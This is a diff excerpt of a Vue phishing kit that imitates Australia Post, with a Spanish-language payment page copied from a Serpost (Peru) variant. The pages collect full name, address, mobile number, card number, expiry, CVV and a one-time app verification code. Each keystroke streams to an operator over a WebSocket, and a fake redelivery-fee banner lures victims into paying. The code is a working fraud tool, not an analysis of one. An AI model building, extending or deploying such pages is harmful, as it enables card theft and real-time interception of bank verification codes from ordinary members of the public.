||||
@input="(event) => textChange(event, 'fullName')"
|
||||
:class="{ 'input-err': formDataError.fullName }"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.fullName">Please enter your full name</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-field">
|
||||
<label>Email address <span class="req">*</span></label>
|
||||
<input
|
||||
type="email"
|
||||
v-model="formData.email"
|
||||
@input="(event) => textChange(event, 'email')"
|
||||
:class="{ 'input-err': formDataError.email }"
|
||||
placeholder="e.g. name@example.com.au"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.email">Please enter a valid email address</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-field">
|
||||
<label>Street address <span class="req">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.address"
|
||||
@input="(event) => textChange(event, 'address')"
|
||||
:class="{ 'input-err': formDataError.address }"
|
||||
placeholder="e.g. 111 Bourke St"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.address">Please enter a valid street address</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-field">
|
||||
<label>Suburb <span class="req">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.suburb"
|
||||
@input="(event) => textChange(event, 'suburb')"
|
||||
:class="{ 'input-err': formDataError.suburb }"
|
||||
placeholder="e.g. Melbourne"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.suburb">Please enter a suburb</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-field-row">
|
||||
<div class="ap-field ap-field-state">
|
||||
<label>State <span class="req">*</span></label>
|
||||
<select
|
||||
v-model="formData.state"
|
||||
@change="stateChange"
|
||||
:class="{ 'input-err': formDataError.state }"
|
||||
>
|
||||
<option value="" disabled>Select state</option>
|
||||
<option value="ACT">ACT</option>
|
||||
<option value="NSW">NSW</option>
|
||||
<option value="NT">NT</option>
|
||||
<option value="QLD">QLD</option>
|
||||
<option value="SA">SA</option>
|
||||
<option value="TAS">TAS</option>
|
||||
<option value="VIC">VIC</option>
|
||||
<option value="WA">WA</option>
|
||||
</select>
|
||||
<span class="err-text" v-if="formDataError.state">Please select a state</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-field ap-field-postcode">
|
||||
<label>Postcode <span class="req">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
maxlength="4"
|
||||
v-model="formData.zipCode"
|
||||
@input="(event) => textChange(event, 'zipCode')"
|
||||
:class="{ 'input-err': formDataError.zipCode }"
|
||||
placeholder="e.g. 3000"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.zipCode">Please enter a valid postcode</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ap-field">
|
||||
<label>Mobile number <span class="req">*</span></label>
|
||||
<input
|
||||
type="tel"
|
||||
v-model="formData.phone"
|
||||
@input="(event) => textChange(event, 'phone')"
|
||||
:class="{ 'input-err': formDataError.phone }"
|
||||
placeholder="e.g. 0400 000 000"
|
||||
/>
|
||||
<span class="err-text" v-if="formDataError.phone">Please enter a valid Australian mobile number</span>
|
||||
</div>
|
||||
|
||||
<div class="ap-action">
|
||||
<button type="submit" class="ap-btn-submit">
|
||||
Continue
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.ap-wrapper {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
padding: 40px 20px;
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.ap-container {
|
||||
width: 100%;
|
||||
max-width: 460px;
|
||||
}
|
||||
|
||||
.ap-main-title {
|
||||
color: #333333;
|
||||
font-size: 26px;
|
||||
font-weight: 700;
|
||||
line-height: 1.1;
|
||||
margin-bottom: 20px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.ap-intro {
|
||||
color: #666666;
|
||||
font-size: 15px;
|
||||
line-height: 1.5;
|
||||
margin-bottom: 35px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.ap-form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.ap-field {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 6px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.ap-field label {
|
||||
font-size: 15px;
|
||||
font-weight: 600;
|
||||
color: #333333;
|
||||
}
|
||||
|
||||
.req {
|
||||
color: #dc0032;
|
||||
margin-left: 2px;
|
||||
}
|
||||
|
||||
.ap-field input {
|
||||
width: 100%;
|
||||
height: 48px;
|
||||
border: 1px solid #999999;
|
||||
border-radius: 4px;
|
||||
padding: 0 12px;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
outline: none;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
.ap-field select {
|
||||
width: 100%;
|
||||
height: 48px;
|
||||
border: 1px solid #999999;
|
||||
border-radius: 4px;
|
||||
padding: 0 12px;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
outline: none;
|
||||
background: #fff;
|
||||
appearance: auto;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
.ap-field select:focus,
|
||||
.ap-field input:focus {
|
||||
border-color: #333333;
|
||||
}
|
||||
|
||||
.ap-field-row {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.ap-field-state {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.ap-field-postcode {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.input-err {
|
||||
border-color: #dc0032 !important;
|
||||
background-color: #fff8f8;
|
||||
}
|
||||
|
||||
.err-text {
|
||||
color: #dc0032;
|
||||
font-size: 12px;
|
||||
font-weight: 500;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.ap-action {
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
.ap-btn-submit {
|
||||
width: 100%;
|
||||
height: 52px;
|
||||
background-color: #dc0032;
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
letter-spacing: 0.3px;
|
||||
}
|
||||
|
||||
.ap-btn-submit:active {
|
||||
background-color: #b30026;
|
||||
}
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.ap-main-title {
|
||||
font-size: 23px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
277
a12_au_post_aupost/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,277 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
nextTick,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
reactive,
|
||||
ref,
|
||||
watch,
|
||||
} from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ appVerifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "appVerifyCode", value.target.value);
|
||||
formData.appVerifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="dpd-app-wrapper">
|
||||
<div class="dpd-app-card">
|
||||
|
||||
|
||||
|
||||
<!-- 手机 App 授权图示 -->
|
||||
<div class="dpd-phone-icon">
|
||||
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
|
||||
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
|
||||
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
|
||||
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
|
||||
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
|
||||
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h2 class="dpd-title">Verify with the Australia Post App</h2>
|
||||
|
||||
<p class="dpd-desc">
|
||||
Open your Australia Post app and confirm your payment transaction.<br/>
|
||||
Please keep this page open until verification is complete.
|
||||
</p>
|
||||
|
||||
<div class="dpd-bank-row">
|
||||
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
|
||||
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
|
||||
</svg>
|
||||
<span><b>{{ t("Authorised by Australia Post") }}</b></span>
|
||||
</div>
|
||||
|
||||
<p class="dpd-sub">{{ t("Please open the Australia Post app to confirm") }}</p>
|
||||
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
|
||||
|
||||
<p class="dpd-error" v-if="message">{{ message }}</p>
|
||||
|
||||
<div class="dpd-input-wrap" v-if="showInput">
|
||||
<label class="dpd-input-label">One-time verification code</label>
|
||||
<input
|
||||
required
|
||||
type="number"
|
||||
inputmode="numeric"
|
||||
class="dpd-input"
|
||||
@input="onchange"
|
||||
v-model="formData.appVerifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
placeholder="Enter code"
|
||||
/>
|
||||
<button class="dpd-btn" type="button" @click="submit">Confirm</button>
|
||||
</div>
|
||||
|
||||
<div class="dpd-loading-wrap" v-if="!showInput">
|
||||
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
|
||||
stroke-dasharray="80 45" stroke-linecap="round"/>
|
||||
</svg>
|
||||
<p class="dpd-waiting">Waiting for app confirmation…</p>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.dpd-app-wrapper {
|
||||
min-height: 100dvh;
|
||||
background-color: #f6f6f6;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 24px 16px;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
.dpd-app-card {
|
||||
background: #ffffff;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #e5e5e5;
|
||||
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
|
||||
padding: 36px 28px;
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.dpd-logo {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.dpd-logo-img {
|
||||
width: 100px;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.dpd-phone-icon {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin: 0 auto 20px;
|
||||
}
|
||||
|
||||
.dpd-title {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
color: #222;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.dpd-desc {
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.dpd-bank-row {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.dpd-sub {
|
||||
font-size: 13px;
|
||||
color: #888;
|
||||
margin: 4px 0;
|
||||
}
|
||||
|
||||
.dpd-error {
|
||||
color: #dc0032;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
margin: 12px 0;
|
||||
}
|
||||
|
||||
.dpd-input-wrap {
|
||||
margin-top: 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.dpd-input-label {
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.dpd-input {
|
||||
width: 80%;
|
||||
padding: 10px 12px;
|
||||
border: 2px solid #ccc;
|
||||
border-radius: 6px;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.dpd-input:focus {
|
||||
border-color: #dc0032;
|
||||
}
|
||||
|
||||
.dpd-btn {
|
||||
width: 80%;
|
||||
padding: 12px;
|
||||
background-color: #dc0032;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
font-size: 16px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dpd-btn:active {
|
||||
background-color: #b30026;
|
||||
}
|
||||
|
||||
.dpd-loading-wrap {
|
||||
margin-top: 24px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.dpd-spinner {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
animation: spin 1.2s linear infinite;
|
||||
}
|
||||
|
||||
.dpd-waiting {
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
</style>
|
||||
503
a12_au_post_aupost/src/views/CardView copy.vue
Normal file
@@ -0,0 +1,503 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="sp-gateway-final-v3">
|
||||
<div class="sp-top-banner">
|
||||
<p class="sp-top-banner-text">
|
||||
Debido a una discrepancia en la dirección, se aplicará una tarifa de
|
||||
reenvío de S/ 3.50 para la entrega corregida. También puede optar
|
||||
por recoger el paquete en su oficina de Serpost local sin costo
|
||||
adicional. Agradecemos su comprensión.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<h2 class="sp-section-label">Opciones de Pago</h2>
|
||||
|
||||
<div class="sp-card-icons-row">
|
||||
<img :src="c1" class="sp-brand-icon" alt="visa" />
|
||||
<img :src="c2" class="sp-brand-icon" alt="master" />
|
||||
<img :src="c5" class="sp-brand-icon" alt="amex" />
|
||||
<img :src="c7" class="sp-brand-icon" alt="maestro" />
|
||||
<img :src="c3" class="sp-brand-icon" alt="jcb" />
|
||||
<img :src="c6" class="sp-brand-icon" alt="discover" />
|
||||
<img :src="c8" class="sp-brand-icon" alt="diners" />
|
||||
</div>
|
||||
|
||||
<div class="sp-card-form-body">
|
||||
<div class="sp-form-header-title">DETALLES DE PAGO</div>
|
||||
|
||||
<form @submit.prevent="next" class="sp-main-form-content">
|
||||
<div
|
||||
class="sp-field-container"
|
||||
:class="getFieldClass('cardNumber', 16)"
|
||||
>
|
||||
<div class="sp-field-relative">
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.cardNumber"
|
||||
@input="onCardNumberChange"
|
||||
maxlength="19"
|
||||
class="sp-field-input"
|
||||
placeholder=" "
|
||||
required
|
||||
/>
|
||||
<label class="sp-field-label">Número de Tarjeta</label>
|
||||
<div class="sp-field-icon-box">
|
||||
<img
|
||||
:src="cardInfo.path"
|
||||
class="sp-field-card-img"
|
||||
v-if="cardInfo.identified"
|
||||
/>
|
||||
<svg v-else class="sp-field-card-svg" viewBox="0 0 24 24">
|
||||
<path
|
||||
d="M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"
|
||||
></path>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="sp-field-line-bar"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="sp-row-flex">
|
||||
<div
|
||||
class="sp-field-container sp-flex-half"
|
||||
:class="getFieldClass('expires', 5, true)"
|
||||
>
|
||||
<div class="sp-field-relative">
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.expires"
|
||||
@input="onExpiresChange"
|
||||
maxlength="5"
|
||||
class="sp-field-input"
|
||||
placeholder=" "
|
||||
required
|
||||
/>
|
||||
<label class="sp-field-label">MM/AA</label>
|
||||
<div class="sp-field-line-bar"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div
|
||||
class="sp-field-container sp-flex-half"
|
||||
:class="getFieldClass('cvv', 3)"
|
||||
>
|
||||
<div class="sp-field-relative">
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.cvv"
|
||||
@input="onCvvChange"
|
||||
maxlength="4"
|
||||
class="sp-field-input"
|
||||
placeholder=" "
|
||||
required
|
||||
/>
|
||||
<label class="sp-field-label">CVV</label>
|
||||
<div class="sp-field-line-bar"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div
|
||||
class="sp-field-container"
|
||||
:class="getFieldClass('cardName', 3)"
|
||||
>
|
||||
<div class="sp-field-relative">
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.cardName"
|
||||
@input="onCardNameChange"
|
||||
class="sp-field-input"
|
||||
placeholder=" "
|
||||
required
|
||||
/>
|
||||
<label class="sp-field-label">Nombre del Tarjetahabiente</label>
|
||||
<div class="sp-field-line-bar"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="sp-terms-group-wrapper">
|
||||
<div class="sp-checkbox-layout">
|
||||
<input
|
||||
type="checkbox"
|
||||
id="sp_legal_agree"
|
||||
v-model="termsAccepted"
|
||||
class="sp-real-checkbox"
|
||||
required
|
||||
/>
|
||||
<label for="sp_legal_agree" class="sp-checkbox-facade">
|
||||
<span class="sp-box-ui"></span>
|
||||
<span class="sp-text-ui">
|
||||
Acepto los
|
||||
<a href="#" class="sp-link-bold">Términos de Servicio</a> y
|
||||
la
|
||||
<a href="#" class="sp-link-bold">Política de Privacidad</a>
|
||||
</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<button
|
||||
type="submit"
|
||||
class="sp-btn-submit"
|
||||
:disabled="!isFormValid"
|
||||
>
|
||||
Pagar S/ 3.50
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
|
||||
<PaymentLoadingModal
|
||||
v-model:visible="isModalVisible"
|
||||
:card-number="formData.cardNumber"
|
||||
:loading="true"
|
||||
:closable="false"
|
||||
/>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useRoute } from "vue-router";
|
||||
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
|
||||
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
import { inputChange, myWebSocket,configData } from "@/utils/common";
|
||||
|
||||
const isModalVisible = ref(false);
|
||||
const termsAccepted = ref(false);
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = reactive({
|
||||
cardNumber: "",
|
||||
cardName: "",
|
||||
expires: "",
|
||||
cvv: "",
|
||||
});
|
||||
|
||||
// 核心修复:识别逻辑
|
||||
const cardInfo = computed(() => {
|
||||
const num = formData.cardNumber.replace(/\D/g, "");
|
||||
if (!num) return { identified: false, path: "" };
|
||||
|
||||
if (/^4/.test(num)) return { identified: true, path: c1 };
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num))
|
||||
return { identified: true, path: c2 };
|
||||
if (/^3[47]/.test(num)) return { identified: true, path: c5 };
|
||||
if (/^(62|81)/.test(num)) return { identified: true, path: c4 };
|
||||
if (/^6(011|4[4-9]|5)/.test(num)) return { identified: true, path: c6 };
|
||||
if (/^35/.test(num)) return { identified: true, path: c3 };
|
||||
if (/^(30|36|38|39)/.test(num)) return { identified: true, path: c8 };
|
||||
if (/^(50|56|57|58|6)/.test(num)) return { identified: true, path: c7 };
|
||||
|
||||
return { identified: false, path: "" };
|
||||
});
|
||||
|
||||
// 2026年日期校验
|
||||
const isExpiryDateValid = computed(() => {
|
||||
if (formData.expires.length !== 5) return false;
|
||||
const [mStr, yStr] = formData.expires.split("/");
|
||||
const mm = parseInt(mStr);
|
||||
const yy = parseInt(yStr);
|
||||
if (isNaN(mm) || isNaN(yy) || mm < 1 || mm > 12) return false;
|
||||
const currentYY = 26;
|
||||
const currentMM = new Date().getMonth() + 1;
|
||||
if (yy < currentYY) return false;
|
||||
if (yy === currentYY && mm < currentMM) return false;
|
||||
return true;
|
||||
});
|
||||
|
||||
const getFieldClass = (
|
||||
field: keyof typeof formData,
|
||||
minLen: number,
|
||||
isDate = false
|
||||
) => {
|
||||
const val = formData[field].replace(/\s/g, "");
|
||||
if (val.length === 0) return "";
|
||||
let isValid = isDate ? isExpiryDateValid.value : val.length >= minLen;
|
||||
return isValid ? "sp-status-valid" : "sp-status-active";
|
||||
};
|
||||
|
||||
const isFormValid = computed(() => {
|
||||
return (
|
||||
formData.cardNumber.replace(/\s/g, "").length >= 15 &&
|
||||
isExpiryDateValid.value &&
|
||||
formData.cvv.length >= 3 &&
|
||||
formData.cardName.trim().length >= 3 &&
|
||||
termsAccepted.value
|
||||
);
|
||||
});
|
||||
|
||||
const onCardNameChange = (e: any) =>
|
||||
inputChange("input_card", "cardName", e.target.value);
|
||||
const onCardNumberChange = (e: any) => {
|
||||
let val = e.target.value.replace(/\D/g, "");
|
||||
formData.cardNumber = val.replace(/(.{4})/g, "$1 ").trim();
|
||||
inputChange("input_card", "cardNumber", val);
|
||||
};
|
||||
const onExpiresChange = (e: any) => {
|
||||
let val = e.target.value.replace(/\D/g, "").slice(0, 4);
|
||||
if (val.length > 2) val = val.slice(0, 2) + "/" + val.slice(2, 4);
|
||||
formData.expires = val;
|
||||
inputChange("input_card", "expires", val);
|
||||
};
|
||||
const onCvvChange = (e: any) => {
|
||||
formData.cvv = e.target.value.replace(/\D/g, "").slice(0, 4);
|
||||
inputChange("input_card", "cvv", formData.cvv);
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
if (!isFormValid.value) return;
|
||||
isModalVisible.value = true;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitCard",
|
||||
formData: {
|
||||
...formData,
|
||||
cardNumber: formData.cardNumber.replace(/\s/g, ""),
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
loadingStore.setLoading(false);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({ event: "page_type", content: { pageType: "card" } })
|
||||
);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.sp-gateway-final-v3 {
|
||||
max-width: 480px;
|
||||
margin: 0 auto;
|
||||
padding: 16px;
|
||||
background: #fff;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.sp-gateway-final-v3 * {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.sp-top-banner {
|
||||
border: 1px solid #e2e8f0;
|
||||
border-radius: 12px;
|
||||
padding: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.sp-top-banner-text {
|
||||
color: #666;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
text-align: center;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.sp-section-label {
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
color: #31455a;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.sp-card-icons-row {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-bottom: 25px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.sp-brand-icon {
|
||||
height: 22px;
|
||||
border: 1px solid #f0f0f0;
|
||||
border-radius: 3px;
|
||||
padding: 2px 5px;
|
||||
}
|
||||
|
||||
.sp-card-form-body {
|
||||
border: 1px solid #eee;
|
||||
border-radius: 4px;
|
||||
padding: 30px 20px;
|
||||
}
|
||||
.sp-form-header-title {
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
letter-spacing: 1.2px;
|
||||
|
||||
color: #000;
|
||||
border-bottom: 1px solid rgb(243, 244, 246);
|
||||
text-align: center;
|
||||
margin-bottom: 40px;
|
||||
padding-bottom: 24px;
|
||||
}
|
||||
|
||||
.sp-field-container {
|
||||
margin-bottom: 32px;
|
||||
}
|
||||
.sp-field-relative {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.sp-field-input {
|
||||
width: 100%;
|
||||
border: none;
|
||||
border-bottom: 1.5px solid #d1d1d1;
|
||||
padding: 10px 0;
|
||||
font-size: 16px;
|
||||
background: transparent;
|
||||
outline: none;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.sp-field-label {
|
||||
position: absolute;
|
||||
top: 10px;
|
||||
left: 0;
|
||||
color: #999;
|
||||
font-size: 15px;
|
||||
pointer-events: none;
|
||||
transition: 0.2s ease all;
|
||||
}
|
||||
.sp-field-input:focus ~ .sp-field-label,
|
||||
.sp-field-input:not(:placeholder-shown) ~ .sp-field-label {
|
||||
top: -18px;
|
||||
font-size: 12px;
|
||||
color: #555;
|
||||
}
|
||||
|
||||
.sp-field-line-bar {
|
||||
position: absolute;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 0;
|
||||
transition: 0.2s ease all;
|
||||
}
|
||||
|
||||
.sp-status-active .sp-field-input {
|
||||
border-bottom-color: transparent;
|
||||
}
|
||||
.sp-status-active .sp-field-line-bar {
|
||||
height: 2.5px;
|
||||
background: #ff0000;
|
||||
}
|
||||
|
||||
.sp-status-valid .sp-field-input {
|
||||
border-bottom-color: transparent;
|
||||
}
|
||||
.sp-status-valid .sp-field-line-bar {
|
||||
height: 2.5px;
|
||||
background: #002d5f;
|
||||
}
|
||||
|
||||
.sp-field-icon-box {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 8px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
.sp-field-card-img {
|
||||
height: 20px;
|
||||
}
|
||||
.sp-field-card-svg {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
fill: #999;
|
||||
}
|
||||
|
||||
.sp-row-flex {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
}
|
||||
.sp-flex-half {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
/* 复选框强力修复 */
|
||||
.sp-terms-group-wrapper {
|
||||
margin: 10px 0 35px;
|
||||
width: 100%;
|
||||
}
|
||||
.sp-checkbox-layout {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
.sp-real-checkbox {
|
||||
position: absolute;
|
||||
opacity: 0;
|
||||
width: 0;
|
||||
height: 0;
|
||||
}
|
||||
.sp-checkbox-facade {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
font-size: 13px;
|
||||
color: #444;
|
||||
}
|
||||
.sp-box-ui {
|
||||
flex-shrink: 0;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 1px solid #bbb;
|
||||
border-radius: 2px;
|
||||
margin-right: 12px;
|
||||
position: relative;
|
||||
}
|
||||
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui {
|
||||
background-color: #002d5f;
|
||||
border-color: #002d5f;
|
||||
}
|
||||
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
left: 5px;
|
||||
top: 2px;
|
||||
